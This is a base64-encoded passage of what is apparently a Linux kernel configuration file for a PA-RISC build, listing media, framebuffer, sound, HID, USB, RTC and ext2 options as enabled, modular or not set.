MT15CkNPTkZJR19WSURFT19WNEwxX0NPTVBBVD15CiMgQ09ORklHX0RWQl9DT1JFIGlzIG5vdCBz
ZXQKQ09ORklHX1ZJREVPX01FRElBPW0KCiMKIyBNdWx0aW1lZGlhIGRyaXZlcnMKIwojIENPTkZJ
R19NRURJQV9BVFRBQ0ggaXMgbm90IHNldApDT05GSUdfTUVESUFfVFVORVI9bQojIENPTkZJR19N
RURJQV9UVU5FUl9DVVNUT01JWkUgaXMgbm90IHNldApDT05GSUdfTUVESUFfVFVORVJfU0lNUExF
PW0KQ09ORklHX01FRElBX1RVTkVSX1REQTgyOTA9bQpDT05GSUdfTUVESUFfVFVORVJfVERBOTg4
Nz1tCkNPTkZJR19NRURJQV9UVU5FUl9URUE1NzYxPW0KQ09ORklHX01FRElBX1RVTkVSX1RFQTU3
Njc9bQpDT05GSUdfTUVESUFfVFVORVJfTVQyMFhYPW0KQ09ORklHX01FRElBX1RVTkVSX1hDMjAy
OD1tCkNPTkZJR19NRURJQV9UVU5FUl9YQzUwMDA9bQpDT05GSUdfVklERU9fVjRMMj1tCkNPTkZJ
R19WSURFT19WNEwxPW0KIyBDT05GSUdfVklERU9fQ0FQVFVSRV9EUklWRVJTIGlzIG5vdCBzZXQK
IyBDT05GSUdfUkFESU9fQURBUFRFUlMgaXMgbm90IHNldAojIENPTkZJR19EQUIgaXMgbm90IHNl
dAoKIwojIEdyYXBoaWNzIHN1cHBvcnQKIwojIENPTkZJR19BR1AgaXMgbm90IHNldAojIENPTkZJ
R19EUk0gaXMgbm90IHNldAojIENPTkZJR19WR0FTVEFURSBpcyBub3Qgc2V0CkNPTkZJR19WSURF
T19PVVRQVVRfQ09OVFJPTD1tCkNPTkZJR19GQj15CkNPTkZJR19GSVJNV0FSRV9FRElEPXkKQ09O
RklHX0ZCX0REQz1tCiMgQ09ORklHX0ZCX0JPT1RfVkVTQV9TVVBQT1JUIGlzIG5vdCBzZXQKQ09O
RklHX0ZCX0NGQl9GSUxMUkVDVD15CkNPTkZJR19GQl9DRkJfQ09QWUFSRUE9eQpDT05GSUdfRkJf
Q0ZCX0lNQUdFQkxJVD15CiMgQ09ORklHX0ZCX0NGQl9SRVZfUElYRUxTX0lOX0JZVEUgaXMgbm90
IHNldAojIENPTkZJR19GQl9TWVNfRklMTFJFQ1QgaXMgbm90IHNldAojIENPTkZJR19GQl9TWVNf
Q09QWUFSRUEgaXMgbm90IHNldAojIENPTkZJR19GQl9TWVNfSU1BR0VCTElUIGlzIG5vdCBzZXQK
Q09ORklHX0ZCX0ZPUkVJR05fRU5ESUFOPXkKQ09ORklHX0ZCX0JPVEhfRU5ESUFOPXkKIyBDT05G
SUdfRkJfQklHX0VORElBTiBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0xJVFRMRV9FTkRJQU4gaXMg
bm90IHNldAojIENPTkZJR19GQl9TWVNfRk9QUyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1NWR0FM
SUIgaXMgbm90IHNldAojIENPTkZJR19GQl9NQUNNT0RFUyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZC
X0JBQ0tMSUdIVCBpcyBub3Qgc2V0CkNPTkZJR19GQl9NT0RFX0hFTFBFUlM9eQpDT05GSUdfRkJf
VElMRUJMSVRUSU5HPXkKCiMKIyBGcmFtZSBidWZmZXIgaGFyZHdhcmUgZHJpdmVycwojCiMgQ09O
RklHX0ZCX0NJUlJVUyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1BNMiBpcyBub3Qgc2V0CiMgQ09O
RklHX0ZCX0NZQkVSMjAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0FTSUxJQU5UIGlzIG5vdCBz
ZXQKIyBDT05GSUdfRkJfSU1TVFQgaXMgbm90IHNldApDT05GSUdfRkJfU1RJPXkKIyBDT05GSUdf
RkJfUzFEMTNYWFggaXMgbm90IHNldAojIENPTkZJR19GQl9OVklESUEgaXMgbm90IHNldAojIENP
TkZJR19GQl9SSVZBIGlzIG5vdCBzZXQKQ09ORklHX0ZCX01BVFJPWD15CkNPTkZJR19GQl9NQVRS
T1hfTUlMTEVOSVVNPXkKQ09ORklHX0ZCX01BVFJPWF9NWVNUSVFVRT15CkNPTkZJR19GQl9NQVRS
T1hfRz15CkNPTkZJR19GQl9NQVRST1hfSTJDPW0KIyBDT05GSUdfRkJfTUFUUk9YX01BVkVOIGlz
IG5vdCBzZXQKIyBDT05GSUdfRkJfTUFUUk9YX01VTFRJSEVBRCBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZCX1JBREVPTiBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0FUWTEyOCBpcyBub3Qgc2V0CiMgQ09O
RklHX0ZCX0FUWSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1MzIGlzIG5vdCBzZXQKIyBDT05GSUdf
RkJfU0FWQUdFIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfU0lTIGlzIG5vdCBzZXQKIyBDT05GSUdf
RkJfVklBIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfTkVPTUFHSUMgaXMgbm90IHNldAojIENPTkZJ
R19GQl9LWVJPIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfM0RGWCBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZCX1ZPT0RPTzEgaXMgbm90IHNldAojIENPTkZJR19GQl9WVDg2MjMgaXMgbm90IHNldAojIENP
TkZJR19GQl9UUklERU5UIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQVJLIGlzIG5vdCBzZXQKIyBD
T05GSUdfRkJfUE0zIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQ0FSTUlORSBpcyBub3Qgc2V0CiMg
Q09ORklHX0ZCX1ZJUlRVQUwgaXMgbm90IHNldAojIENPTkZJR19GQl9NRVRST05PTUUgaXMgbm90
IHNldAojIENPTkZJR19CQUNLTElHSFRfTENEX1NVUFBPUlQgaXMgbm90IHNldAoKIwojIERpc3Bs
YXkgZGV2aWNlIHN1cHBvcnQKIwojIENPTkZJR19ESVNQTEFZX1NVUFBPUlQgaXMgbm90IHNldAoK
IwojIENvbnNvbGUgZGlzcGxheSBkcml2ZXIgc3VwcG9ydAojCkNPTkZJR19EVU1NWV9DT05TT0xF
PXkKQ09ORklHX0RVTU1ZX0NPTlNPTEVfQ09MVU1OUz0xMjgKQ09ORklHX0RVTU1ZX0NPTlNPTEVf
Uk9XUz00OApDT05GSUdfRlJBTUVCVUZGRVJfQ09OU09MRT15CiMgQ09ORklHX0ZSQU1FQlVGRkVS
X0NPTlNPTEVfREVURUNUX1BSSU1BUlkgaXMgbm90IHNldAojIENPTkZJR19GUkFNRUJVRkZFUl9D
T05TT0xFX1JPVEFUSU9OIGlzIG5vdCBzZXQKQ09ORklHX1NUSV9DT05TT0xFPXkKIyBDT05GSUdf
Rk9OVFMgaXMgbm90IHNldApDT05GSUdfRk9OVF84eDg9eQpDT05GSUdfRk9OVF84eDE2PXkKIyBD
T05GSUdfTE9HTyBpcyBub3Qgc2V0CkNPTkZJR19TT1VORD1tCkNPTkZJR19TT1VORF9PU1NfQ09S
RT15CkNPTkZJR19TTkQ9bQpDT05GSUdfU05EX1RJTUVSPW0KQ09ORklHX1NORF9QQ009bQpDT05G
SUdfU05EX0hXREVQPW0KQ09ORklHX1NORF9SQVdNSURJPW0KQ09ORklHX1NORF9TRVFVRU5DRVI9
bQojIENPTkZJR19TTkRfU0VRX0RVTU1ZIGlzIG5vdCBzZXQKQ09ORklHX1NORF9PU1NFTVVMPXkK
Q09ORklHX1NORF9NSVhFUl9PU1M9bQpDT05GSUdfU05EX1BDTV9PU1M9bQpDT05GSUdfU05EX1BD
TV9PU1NfUExVR0lOUz15CkNPTkZJR19TTkRfU0VRVUVOQ0VSX09TUz15CkNPTkZJR19TTkRfRFlO
QU1JQ19NSU5PUlM9eQpDT05GSUdfU05EX1NVUFBPUlRfT0xEX0FQST15CkNPTkZJR19TTkRfVkVS
Qk9TRV9QUk9DRlM9eQojIENPTkZJR19TTkRfVkVSQk9TRV9QUklOVEsgaXMgbm90IHNldAojIENP
TkZJR19TTkRfREVCVUcgaXMgbm90IHNldApDT05GSUdfU05EX1ZNQVNURVI9eQpDT05GSUdfU05E
X0FDOTdfQ09ERUM9bQpDT05GSUdfU05EX0RSSVZFUlM9eQojIENPTkZJR19TTkRfRFVNTVkgaXMg
bm90IHNldApDT05GSUdfU05EX1ZJUk1JREk9bQojIENPTkZJR19TTkRfTVRQQVYgaXMgbm90IHNl
dAojIENPTkZJR19TTkRfTVRTNjQgaXMgbm90IHNldAojIENPTkZJR19TTkRfU0VSSUFMX1UxNjU1
MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9NUFU0MDEgaXMgbm90IHNldAojIENPTkZJR19TTkRf
UE9SVE1BTjJYNCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9BQzk3X1BPV0VSX1NBVkUgaXMgbm90
IHNldApDT05GSUdfU05EX1BDST15CkNPTkZJR19TTkRfQUQxODg5PW0KIyBDT05GSUdfU05EX0FM
UzMwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9BTEk1NDUxIGlzIG5vdCBzZXQKIyBDT05GSUdf
U05EX0FUSUlYUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9BVElJWFBfTU9ERU0gaXMgbm90IHNl
dAojIENPTkZJR19TTkRfQVU4ODEwIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0FVODgyMCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NORF9BVTg4MzAgaXMgbm90IHNldAojIENPTkZJR19TTkRfQVcyIGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX0FaVDMzMjggaXMgbm90IHNldAojIENPTkZJR19TTkRfQlQ4
N1ggaXMgbm90IHNldAojIENPTkZJR19TTkRfQ0EwMTA2IGlzIG5vdCBzZXQKIyBDT05GSUdfU05E
X0NNSVBDSSBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9PWFlHRU4gaXMgbm90IHNldAojIENPTkZJ
R19TTkRfQ1M0MjgxIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0NTNDZYWCBpcyBub3Qgc2V0CiMg
Q09ORklHX1NORF9EQVJMQTIwIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0dJTkEyMCBpcyBub3Qg
c2V0CiMgQ09ORklHX1NORF9MQVlMQTIwIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0RBUkxBMjQg
aXMgbm90IHNldAojIENPTkZJR19TTkRfR0lOQTI0IGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0xB
WUxBMjQgaXMgbm90IHNldAojIENPTkZJR19TTkRfTU9OQSBpcyBub3Qgc2V0CiMgQ09ORklHX1NO
RF9NSUEgaXMgbm90IHNldAojIENPTkZJR19TTkRfRUNITzNHIGlzIG5vdCBzZXQKIyBDT05GSUdf
U05EX0lORElHTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9JTkRJR09JTyBpcyBub3Qgc2V0CiMg
Q09ORklHX1NORF9JTkRJR09ESiBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9FTVUxMEsxIGlzIG5v
dCBzZXQKIyBDT05GSUdfU05EX0VNVTEwSzFYIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0VOUzEz
NzAgaXMgbm90IHNldAojIENPTkZJR19TTkRfRU5TMTM3MSBpcyBub3Qgc2V0CiMgQ09ORklHX1NO
RF9FUzE5MzggaXMgbm90IHNldAojIENPTkZJR19TTkRfRVMxOTY4IGlzIG5vdCBzZXQKIyBDT05G
SUdfU05EX0ZNODAxIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0hEQV9JTlRFTCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NORF9IRFNQIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0hEU1BNIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU05EX0hJRklFUiBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9JQ0UxNzEyIGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX0lDRTE3MjQgaXMgbm90IHNldAojIENPTkZJR19TTkRfSU5U
RUw4WDAgaXMgbm90IHNldAojIENPTkZJR19TTkRfSU5URUw4WDBNIGlzIG5vdCBzZXQKIyBDT05G
SUdfU05EX0tPUkcxMjEyIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX01BRVNUUk8zIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU05EX01JWEFSVCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9OTTI1NiBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NORF9QQ1hIUiBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9SSVBUSURF
IGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX1JNRTMyIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX1JN
RTk2IGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX1JNRTk2NTIgaXMgbm90IHNldAojIENPTkZJR19T
TkRfU09OSUNWSUJFUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9UUklERU5UIGlzIG5vdCBzZXQK
IyBDT05GSUdfU05EX1ZJQTgyWFggaXMgbm90IHNldAojIENPTkZJR19TTkRfVklBODJYWF9NT0RF
TSBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9WSVJUVU9TTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NO
RF9WWDIyMiBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9ZTUZQQ0kgaXMgbm90IHNldApDT05GSUdf
U05EX1VTQj15CkNPTkZJR19TTkRfVVNCX0FVRElPPW0KQ09ORklHX1NORF9VU0JfQ0FJQVE9bQoj
IENPTkZJR19TTkRfVVNCX0NBSUFRX0lOUFVUIGlzIG5vdCBzZXQKQ09ORklHX1NORF9HU0M9eQpD
T05GSUdfU05EX0hBUk1PTlk9bQojIENPTkZJR19TTkRfU09DIGlzIG5vdCBzZXQKIyBDT05GSUdf
U09VTkRfUFJJTUUgaXMgbm90IHNldApDT05GSUdfQUM5N19CVVM9bQpDT05GSUdfSElEX1NVUFBP
UlQ9eQpDT05GSUdfSElEPXkKIyBDT05GSUdfSElEX0RFQlVHIGlzIG5vdCBzZXQKQ09ORklHX0hJ
RFJBVz15CgojCiMgVVNCIElucHV0IERldmljZXMKIwpDT05GSUdfVVNCX0hJRD15CkNPTkZJR19I
SURfUElEPXkKIyBDT05GSUdfVVNCX0hJRERFViBpcyBub3Qgc2V0CgojCiMgU3BlY2lhbCBISUQg
ZHJpdmVycwojCkNPTkZJR19ISURfQ09NUEFUPXkKQ09ORklHX0hJRF9BNFRFQ0g9eQpDT05GSUdf
SElEX0FQUExFPXkKQ09ORklHX0hJRF9CRUxLSU49eQpDT05GSUdfSElEX0JSSUdIVD15CkNPTkZJ
R19ISURfQ0hFUlJZPXkKQ09ORklHX0hJRF9DSElDT05ZPXkKQ09ORklHX0hJRF9DWVBSRVNTPXkK
Q09ORklHX0hJRF9ERUxMPXkKQ09ORklHX0hJRF9FWktFWT15CkNPTkZJR19ISURfR1lSQVRJT049
eQpDT05GSUdfSElEX0xPR0lURUNIPXkKIyBDT05GSUdfTE9HSVRFQ0hfRkYgaXMgbm90IHNldAoj
IENPTkZJR19MT0dJUlVNQkxFUEFEMl9GRiBpcyBub3Qgc2V0CkNPTkZJR19ISURfTUlDUk9TT0ZU
PXkKQ09ORklHX0hJRF9NT05URVJFWT15CkNPTkZJR19ISURfUEFOVEhFUkxPUkQ9eQojIENPTkZJ
R19QQU5USEVSTE9SRF9GRiBpcyBub3Qgc2V0CkNPTkZJR19ISURfUEVUQUxZTlg9eQpDT05GSUdf
SElEX1NBTVNVTkc9eQpDT05GSUdfSElEX1NPTlk9eQpDT05GSUdfSElEX1NVTlBMVVM9eQpDT05G
SUdfVEhSVVNUTUFTVEVSX0ZGPW0KIyBDT05GSUdfWkVST1BMVVNfRkYgaXMgbm90IHNldApDT05G
SUdfVVNCX1NVUFBPUlQ9eQpDT05GSUdfVVNCX0FSQ0hfSEFTX0hDRD15CkNPTkZJR19VU0JfQVJD
SF9IQVNfT0hDST15CkNPTkZJR19VU0JfQVJDSF9IQVNfRUhDST15CkNPTkZJR19VU0I9eQojIENP
TkZJR19VU0JfREVCVUcgaXMgbm90IHNldApDT05GSUdfVVNCX0FOTk9VTkNFX05FV19ERVZJQ0VT
PXkKCiMKIyBNaXNjZWxsYW5lb3VzIFVTQiBvcHRpb25zCiMKQ09ORklHX1VTQl9ERVZJQ0VGUz15
CkNPTkZJR19VU0JfREVWSUNFX0NMQVNTPXkKIyBDT05GSUdfVVNCX0RZTkFNSUNfTUlOT1JTIGlz
IG5vdCBzZXQKIyBDT05GSUdfVVNCX09URyBpcyBub3Qgc2V0CkNPTkZJR19VU0JfTU9OPXkKIyBD
T05GSUdfVVNCX1dVU0IgaXMgbm90IHNldAojIENPTkZJR19VU0JfV1VTQl9DQkFGIGlzIG5vdCBz
ZXQKCiMKIyBVU0IgSG9zdCBDb250cm9sbGVyIERyaXZlcnMKIwojIENPTkZJR19VU0JfQzY3WDAw
X0hDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9FSENJX0hDRCBpcyBub3Qgc2V0CiMgQ09ORklH
X1VTQl9JU1AxMTZYX0hDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JU1AxNzYwX0hDRCBpcyBu
b3Qgc2V0CkNPTkZJR19VU0JfT0hDSV9IQ0Q9eQojIENPTkZJR19VU0JfT0hDSV9CSUdfRU5ESUFO
X0RFU0MgaXMgbm90IHNldAojIENPTkZJR19VU0JfT0hDSV9CSUdfRU5ESUFOX01NSU8gaXMgbm90
IHNldApDT05GSUdfVVNCX09IQ0lfTElUVExFX0VORElBTj15CkNPTkZJR19VU0JfVUhDSV9IQ0Q9
eQojIENPTkZJR19VU0JfU0w4MTFfSENEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1I4QTY2NTk3
X0hDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9XSENJX0hDRCBpcyBub3Qgc2V0CiMgQ09ORklH
X1VTQl9IV0FfSENEIGlzIG5vdCBzZXQKCiMKIyBVU0IgRGV2aWNlIENsYXNzIGRyaXZlcnMKIwpD
T05GSUdfVVNCX0FDTT1tCkNPTkZJR19VU0JfUFJJTlRFUj1tCiMgQ09ORklHX1VTQl9XRE0gaXMg
bm90IHNldAojIENPTkZJR19VU0JfVE1DIGlzIG5vdCBzZXQKCiMKIyBOT1RFOiBVU0JfU1RPUkFH
RSBlbmFibGVzIFNDU0ksIGFuZCAnU0NTSSBkaXNrIHN1cHBvcnQnCiMKCiMKIyBtYXkgYWxzbyBi
ZSBuZWVkZWQ7IHNlZSBVU0JfU1RPUkFHRSBIZWxwIGZvciBtb3JlIGluZm9ybWF0aW9uCiMKQ09O
RklHX1VTQl9TVE9SQUdFPW0KIyBDT05GSUdfVVNCX1NUT1JBR0VfREVCVUcgaXMgbm90IHNldAoj
IENPTkZJR19VU0JfU1RPUkFHRV9EQVRBRkFCIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NUT1JB
R0VfRlJFRUNPTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TVE9SQUdFX0lTRDIwMCBpcyBub3Qg
c2V0CiMgQ09ORklHX1VTQl9TVE9SQUdFX0RQQ00gaXMgbm90IHNldAojIENPTkZJR19VU0JfU1RP
UkFHRV9VU0JBVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TVE9SQUdFX1NERFIwOSBpcyBub3Qg
c2V0CiMgQ09ORklHX1VTQl9TVE9SQUdFX1NERFI1NSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9T
VE9SQUdFX0pVTVBTSE9UIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NUT1JBR0VfQUxBVURBIGlz
IG5vdCBzZXQKIyBDT05GSUdfVVNCX1NUT1JBR0VfT05FVE9VQ0ggaXMgbm90IHNldAojIENPTkZJ
R19VU0JfU1RPUkFHRV9LQVJNQSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TVE9SQUdFX0NZUFJF
U1NfQVRBQ0IgaXMgbm90IHNldAojIENPTkZJR19VU0JfTElCVVNVQUwgaXMgbm90IHNldAoKIwoj
IFVTQiBJbWFnaW5nIGRldmljZXMKIwojIENPTkZJR19VU0JfTURDODAwIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX01JQ1JPVEVLIGlzIG5vdCBzZXQKCiMKIyBVU0IgcG9ydCBkcml2ZXJzCiMKIyBD
T05GSUdfVVNCX1VTUzcyMCBpcyBub3Qgc2V0CkNPTkZJR19VU0JfU0VSSUFMPW0KQ09ORklHX1VT
Ql9FWlVTQj15CkNPTkZJR19VU0JfU0VSSUFMX0dFTkVSSUM9eQpDT05GSUdfVVNCX1NFUklBTF9B
SVJDQUJMRT1tCkNPTkZJR19VU0JfU0VSSUFMX0FSSzMxMTY9bQpDT05GSUdfVVNCX1NFUklBTF9C
RUxLSU49bQpDT05GSUdfVVNCX1NFUklBTF9DSDM0MT1tCkNPTkZJR19VU0JfU0VSSUFMX1dISVRF
SEVBVD1tCkNPTkZJR19VU0JfU0VSSUFMX0RJR0lfQUNDRUxFUE9SVD1tCkNPTkZJR19VU0JfU0VS
SUFMX0NQMjEwMT1tCkNPTkZJR19VU0JfU0VSSUFMX0NZUFJFU1NfTTg9bQpDT05GSUdfVVNCX1NF
UklBTF9FTVBFRz1tCkNPTkZJR19VU0JfU0VSSUFMX0ZURElfU0lPPW0KQ09ORklHX1VTQl9TRVJJ
QUxfRlVOU09GVD1tCkNPTkZJR19VU0JfU0VSSUFMX1ZJU09SPW0KQ09ORklHX1VTQl9TRVJJQUxf
SVBBUT1tCkNPTkZJR19VU0JfU0VSSUFMX0lSPW0KQ09ORklHX1VTQl9TRVJJQUxfRURHRVBPUlQ9
bQpDT05GSUdfVVNCX1NFUklBTF9FREdFUE9SVF9UST1tCkNPTkZJR19VU0JfU0VSSUFMX0dBUk1J
Tj1tCkNPTkZJR19VU0JfU0VSSUFMX0lQVz1tCiMgQ09ORklHX1VTQl9TRVJJQUxfSVVVIGlzIG5v
dCBzZXQKQ09ORklHX1VTQl9TRVJJQUxfS0VZU1BBTl9QREE9bQojIENPTkZJR19VU0JfU0VSSUFM
X0tFWVNQQU4gaXMgbm90IHNldApDT05GSUdfVVNCX1NFUklBTF9LTFNJPW0KQ09ORklHX1VTQl9T
RVJJQUxfS09CSUxfU0NUPW0KQ09ORklHX1VTQl9TRVJJQUxfTUNUX1UyMzI9bQpDT05GSUdfVVNC
X1NFUklBTF9NT1M3NzIwPW0KQ09ORklHX1VTQl9TRVJJQUxfTU9TNzg0MD1tCiMgQ09ORklHX1VT
Ql9TRVJJQUxfTU9UT1JPTEEgaXMgbm90IHNldApDT05GSUdfVVNCX1NFUklBTF9OQVZNQU49bQpD
T05GSUdfVVNCX1NFUklBTF9QTDIzMDM9bQpDT05GSUdfVVNCX1NFUklBTF9PVEk2ODU4PW0KIyBD
T05GSUdfVVNCX1NFUklBTF9TUENQOFg1IGlzIG5vdCBzZXQKQ09ORklHX1VTQl9TRVJJQUxfSFA0
WD1tCkNPTkZJR19VU0JfU0VSSUFMX1NBRkU9bQojIENPTkZJR19VU0JfU0VSSUFMX1NBRkVfUEFE
REVEIGlzIG5vdCBzZXQKQ09ORklHX1VTQl9TRVJJQUxfU0lFUlJBV0lSRUxFU1M9bQojIENPTkZJ
R19VU0JfU0VSSUFMX1RJIGlzIG5vdCBzZXQKQ09ORklHX1VTQl9TRVJJQUxfQ1lCRVJKQUNLPW0K
Q09ORklHX1VTQl9TRVJJQUxfWElSQ09NPW0KQ09ORklHX1VTQl9TRVJJQUxfT1BUSU9OPW0KQ09O
RklHX1VTQl9TRVJJQUxfT01OSU5FVD1tCiMgQ09ORklHX1VTQl9TRVJJQUxfREVCVUcgaXMgbm90
IHNldAoKIwojIFVTQiBNaXNjZWxsYW5lb3VzIGRyaXZlcnMKIwojIENPTkZJR19VU0JfRU1JNjIg
aXMgbm90IHNldAojIENPTkZJR19VU0JfRU1JMjYgaXMgbm90IHNldAojIENPTkZJR19VU0JfQURV
VFVYIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFVlNFRyBpcyBub3Qgc2V0CiMgQ09ORklHX1VT
Ql9SSU81MDAgaXMgbm90IHNldAojIENPTkZJR19VU0JfTEVHT1RPV0VSIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX0xDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9CRVJSWV9DSEFSR0UgaXMgbm90
IHNldAojIENPTkZJR19VU0JfTEVEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0NZUFJFU1NfQ1k3
QzYzIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0NZVEhFUk0gaXMgbm90IHNldAojIENPTkZJR19V
U0JfUEhJREdFVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JRE1PVVNFIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX0ZURElfRUxBTiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9BUFBMRURJU1BMQVkg
aXMgbm90IHNldAojIENPTkZJR19VU0JfTEQgaXMgbm90IHNldAojIENPTkZJR19VU0JfVFJBTkNF
VklCUkFUT1IgaXMgbm90IHNldAojIENPTkZJR19VU0JfSU9XQVJSSU9SIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX1RFU1QgaXMgbm90IHNldAojIENPTkZJR19VU0JfSVNJR0hURlcgaXMgbm90IHNl
dAojIENPTkZJR19VU0JfVlNUIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0dBREdFVCBpcyBub3Qg
c2V0CiMgQ09ORklHX1VXQiBpcyBub3Qgc2V0CiMgQ09ORklHX01NQyBpcyBub3Qgc2V0CiMgQ09O
RklHX01FTVNUSUNLIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVXX0xFRFMgaXMgbm90IHNldAojIENP
TkZJR19BQ0NFU1NJQklMSVRZIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5GSU5JQkFORCBpcyBub3Qg
c2V0CkNPTkZJR19SVENfTElCPXkKQ09ORklHX1JUQ19DTEFTUz15CkNPTkZJR19SVENfSENUT1NZ
Uz15CkNPTkZJR19SVENfSENUT1NZU19ERVZJQ0U9InJ0YzAiCiMgQ09ORklHX1JUQ19ERUJVRyBp
cyBub3Qgc2V0CgojCiMgUlRDIGludGVyZmFjZXMKIwpDT05GSUdfUlRDX0lOVEZfU1lTRlM9eQpD
T05GSUdfUlRDX0lOVEZfUFJPQz15CkNPTkZJR19SVENfSU5URl9ERVY9eQpDT05GSUdfUlRDX0lO
VEZfREVWX1VJRV9FTVVMPXkKIyBDT05GSUdfUlRDX0RSVl9URVNUIGlzIG5vdCBzZXQKCiMKIyBJ
MkMgUlRDIGRyaXZlcnMKIwpDT05GSUdfUlRDX0RSVl9EUzEzMDc9bQpDT05GSUdfUlRDX0RSVl9E
UzEzNzQ9bQpDT05GSUdfUlRDX0RSVl9EUzE2NzI9bQpDT05GSUdfUlRDX0RSVl9NQVg2OTAwPW0K
Q09ORklHX1JUQ19EUlZfUlM1QzM3Mj1tCkNPTkZJR19SVENfRFJWX0lTTDEyMDg9bQpDT05GSUdf
UlRDX0RSVl9YMTIwNT1tCkNPTkZJR19SVENfRFJWX1BDRjg1NjM9bQpDT05GSUdfUlRDX0RSVl9Q
Q0Y4NTgzPW0KQ09ORklHX1JUQ19EUlZfTTQxVDgwPW0KIyBDT05GSUdfUlRDX0RSVl9NNDFUODBf
V0RUIGlzIG5vdCBzZXQKQ09ORklHX1JUQ19EUlZfUzM1MzkwQT1tCkNPTkZJR19SVENfRFJWX0ZN
MzEzMD1tCgojCiMgU1BJIFJUQyBkcml2ZXJzCiMKCiMKIyBQbGF0Zm9ybSBSVEMgZHJpdmVycwoj
CkNPTkZJR19SVENfRFJWX0RTMTI4Nj1tCkNPTkZJR19SVENfRFJWX0RTMTUxMT1tCkNPTkZJR19S
VENfRFJWX0RTMTU1Mz1tCkNPTkZJR19SVENfRFJWX0RTMTc0Mj1tCkNPTkZJR19SVENfRFJWX1NU
SzE3VEE4PW0KQ09ORklHX1JUQ19EUlZfTTQ4VDg2PW0KQ09ORklHX1JUQ19EUlZfTTQ4VDM1PW0K
Q09ORklHX1JUQ19EUlZfTTQ4VDU5PW0KQ09ORklHX1JUQ19EUlZfQlE0ODAyPW0KQ09ORklHX1JU
Q19EUlZfVjMwMjA9bQoKIwojIG9uLUNQVSBSVEMgZHJpdmVycwojCkNPTkZJR19SVENfRFJWX1BB
UklTQz15CiMgQ09ORklHX0RNQURFVklDRVMgaXMgbm90IHNldAojIENPTkZJR19BVVhESVNQTEFZ
IGlzIG5vdCBzZXQKIyBDT05GSUdfVUlPIGlzIG5vdCBzZXQKIyBDT05GSUdfU1RBR0lORyBpcyBu
b3Qgc2V0CgojCiMgRmlsZSBzeXN0ZW1zCiMKQ09ORklHX0VYVDJfRlM9eQpDT05GSUdfRVhUMl9G
U19YQVRUUj15CiMgQ09ORklHX0VYVDJfRlNfUE9TSVhfQUNMIGlzIG5vdCBzZXQKQ09ORklHX0VY
VDJfRlNfU0VDVVJJVFk9eQojIENPTkZJR19FWFQyX0ZTX1hJUCBpcyBub3Qgc2V0CkNPTkZJR19F
